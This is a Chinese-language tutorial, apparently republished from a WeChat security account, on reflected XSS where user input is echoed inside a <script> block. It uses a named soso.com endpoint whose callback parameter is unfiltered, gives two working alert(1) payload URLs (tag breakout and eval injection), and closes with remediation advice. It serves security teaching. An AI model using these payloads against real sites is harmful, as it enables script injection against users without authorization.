前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >那些年我们一起学XSS - 2. 输出在<script></script>之间的情况

那些年我们一起学XSS - 2. 输出在<script></script>之间的情况

作者头像
渗透攻击红队
发布2019-11-20 11:15:39
6880
发布2019-11-20 11:15:39
举报
文章被收录于专栏:漏洞知识库漏洞知识库
漏洞知识库

网络安全/渗透测试/代码审计/

关注

输出在<script></script>之间的情况

1. 我们找到这么一个点,也是输入和输出都未过滤的一个点。相比教程第一例,其特殊之处在于,是输出在了 <script>[输出]</script>之间。

http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa

如下图:callback参数未做过滤。在【查看源代码】下,我们可以看到。

缺陷网页源代码:

代码语言:javascript
复制
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}</script>

2. 碰到这种情况,我们一般有以下解法。

2.1 首先判断,是否过滤了 < , > , / 等符号

2.2 如果都没有过滤,恭喜你,一般可以直接XSS了。代码如下:

代码语言:javascript
复制
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa</script><script>alert(1)</script>

原理入下图:

构造callback参数后的源代码

代码语言:javascript
复制
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaaaaa</script><script>alert(1)</script>(_ret);}catch(err){aaaaaaaaa</script><script>alert(1)</script>(_ret);}</script>

2.3 如果过滤了 <, >,那么就无法使用上面的办法了。

3. 我们接着看script代码里的构造。

友情提示:这里可能需要一点点 javascript 的知识才行哦~~

我们可以如下构造:

代码语言:javascript
复制
http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void

可以看到,源代码是下面的样子。

也就是说,我们插入的内容,使得这一段javascript依然【语法正确】,能够【正确执行】,并且能够执行【我们所插入的JS代码】,这样我们的目的就达到了。

构造后的源代码如下:

代码语言:javascript
复制
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.eval('alert(1)');void(_ret);}catch(err){eval('alert(1)');void(_ret);}</script>

4. 这种输出在JS代码里的情况十分常见,但是呢?不幸的是,像这样没过滤的情况,却不是很常见。

例如:

var a="[输出]"; // 通常程序员会把 " 过滤掉, 这样的话,一般来说,我们就很难构造。

但是,这并不是说,就一定是不能利用,后面我们会拿腾讯一些【比较有意思】的例子,来进一步说到 这个【输出在js里】的情况的~

修复方案:

这类XSS的模型通常是:

代码语言:javascript
复制
<script>...[输出]...</script>
代码语言:javascript
复制
<style>...[输出]...</script>

解决方案:

1. 过滤 </xxx> 组合 2. 针对输出在不同的场景,进行合适的过滤。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏洞知识库 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档